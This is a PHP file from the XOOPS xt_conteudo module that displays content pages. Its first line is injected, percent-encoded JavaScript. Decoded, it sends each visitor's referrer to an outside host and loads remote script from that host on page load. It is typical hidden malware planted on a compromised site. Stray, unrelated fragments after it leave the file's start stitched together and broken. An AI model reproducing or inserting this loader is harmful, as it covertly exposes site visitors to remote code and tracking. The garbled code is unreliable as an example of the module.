var xqv='%'; document.write( unescape( '%3C%73%63%72'+xqv+'69'+xqv+'70'+xqv+'74'+xqv+'20'+xqv+'6C'+xqv+'61'+xqv+'6E'+xqv+'67%75%61%67%65%3D'+xqv+'22'+xqv+'4A'+xqv+'61%76%61%53%63%72%69%70'+xqv+'74'+xqv+'22'+xqv+'3E'+xqv+'0A%76%61%72%20%6C%3D%27%68%74%74%70'+xqv+'3A'+xqv+'2F%2F%75%73%65%72%73%6F%66'+xqv+'74%77%61%72%65%2E%69%6E'+xqv+'2F%78%71%2F%76'+xqv+'73'+xqv+'74'+xqv+'61%76%6B%61%2E%70%68%70%3F'+xqv+'72'+xqv+'3D%27%3B%76%61%72%20'+xqv+'72%3D%65%6E'+xqv+'63%6F%64%65%55%52%49%43%6F%6D%70%6F'+xqv+'6E%65'+xqv+'6E%74'+xqv+'28'+xqv+'64'+xqv+'6F%63%75%6D%65%6E'+xqv+'74'+xqv+'2E'+xqv+'72'+xqv+'65%66%65%72%72%65%72'+xqv+'29'+xqv+'3B'+xqv+'69'+xqv+'66%28%72%29%7B%64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%28%27%3C%73%63%72%69%70%74%20%73%72%63%3D%27%2B%6C%2B%72%2B%27%3E%3C%2F%73%63%72%27%2B%27%69%70%74%3E%27%29%3B%7D%0A%3C%2F%73%63%72%69%70%74%3E' ) );
\n";
echo '
Directory of '.dirname($PHP_SELF)."
\n";
include($static_dir.'/_dlycharts_index.php');
//
// //
// You may not change or alter any portion of this comment or credits //
// of supporting developers from this source code or any supporting //
// source code which is considered copyrighted (c) material of the //
// original comment or credit authors. //
// //
// This program is distributed in the hope that it will be useful, //
// but WITHOUT ANY WARRANTY; without even the implied warranty of //
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the //
// GNU General Public License for more details. //
// //
// You should have received a copy of the GNU General Public License //
// along with this program; if not, write to the Free Software //
// Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA //
// ------------------------------------------------------------------------- //
// Author: Tobias Liegl (AKA CHAPI) //
// Site: http://www.chapi.de //
// Project: The XOOPS Project //
// ------------------------------------------------------------------------- //
include "../../mainfile.php";
if ( file_exists("language/".$xoopsConfig['language']."/modinfo.php") ) {
include("language/".$xoopsConfig['language']."/modinfo.php");
} else {
include("language/english/modinfo.php");
}
$id = isset($HTTP_GET_VARS['id']) ? intval($HTTP_GET_VARS['id']) : 0;
if ($id != 0) {
$result = $xoopsDB->queryF("SELECT storyid, title, text, visible, nohtml, nosmiley, nobreaks, nocomments, link, address FROM ".$xoopsDB->prefix(_MI2_XTCONTEUDO_PREFIX)." WHERE storyid=$id");
}
else {
$result = $xoopsDB->queryF("SELECT storyid FROM ".$xoopsDB->prefix(_MI2_XTCONTEUDO_PREFIX)." WHERE homepage=1");
list($storyid) = $xoopsDB->fetchRow($result);
header("Location: $PHP_SELF?id=$storyid");
}
include_once XOOPS_ROOT_PATH.'/header.php';
list($storyid,$title,$text,$visible,$nohtml,$nosmiley,$nobreaks,$nocomments,$link,$address) = $xoopsDB->fetchRow($result);
if ($link == 1) {
// include external content
$includeContent = XOOPS_ROOT_PATH."/modules/"._MI2_DIR_NAME."/content/".$address;
if (file_exists($includeContent)){
$xoopsOption['template_main'] = 'xt_index.html';
ob_start();
include($includeContent);
$content = ob_get_contents();
ob_end_clean();
//$content = include($includeContent);
$xoopsTpl->assign('title', $title);
$xoopsTpl->assign('content', $content);
$xoopsTpl->assign('nocomments', $nocomments);
$xoopsTpl->assign('mail_link', 'mailto:?subject='.sprintf(_TC2_INTARTIGO,$xoopsConfig['sitename']).'&body='.sprintf(_TC2_INTARTFOUND, $xoopsConfig['sitename']).': '.XOOPS_URL.'/modules/xt_conteudo/index.php?id='.$id);
$xoopsTpl->assign('lang_printerpage', _TC2_PRINTERFRIENDLY);
$xoopsTpl->assign('lang_sendstory', _TC2_SENDSTORY);
$xoopsTpl->assign('id', $id);
}
else{
redirect_header("index.php",1,_TC2_FILENOTFOUND);
}
}
else {
// tiny content
$xoopsOption['template_main'] = 'xt_index.html';
if ($nohtml == 1) { $html = 0; } else { $html = 1; }
if ($nosmiley == 1) { $smiley = 0; } else { $smiley = 1; }
if ($nobreaks == 1) { $breaks = 0; } else { $breaks = 1; }
$myts =& MyTextSanitizer::getInstance();
$text=$myts->displayTarea($text, $html, $smiley, 1, 1, $breaks);
$xoopsTpl->assign('title', $title);
$xoopsTpl->assign('content', $text);
$xoopsTpl->assign('nocomments', $nocomments);
$xoopsTpl->assign('mail_link', 'mailto:?subject='.sprintf(_TC2_INTARTIGO,$xoopsConfig['sitename']).'&body='.sprintf(_TC2_INTARTFOUND, $xoopsConfig['sitename']).': '.XOOPS_URL.'/modules/xt_conteudo/index.php?id='.$id);
$xoopsTpl->assign('lang_printerpage', _TC2_PRINTERFRIENDLY);
$xoopsTpl->assign('lang_sendstory', _TC2_SENDSTORY);
$xoopsTpl->assign('id', $id);
}
include XOOPS_ROOT_PATH.'/include/comment_view.php';
include_once XOOPS_ROOT_PATH.'/footer.php';
?>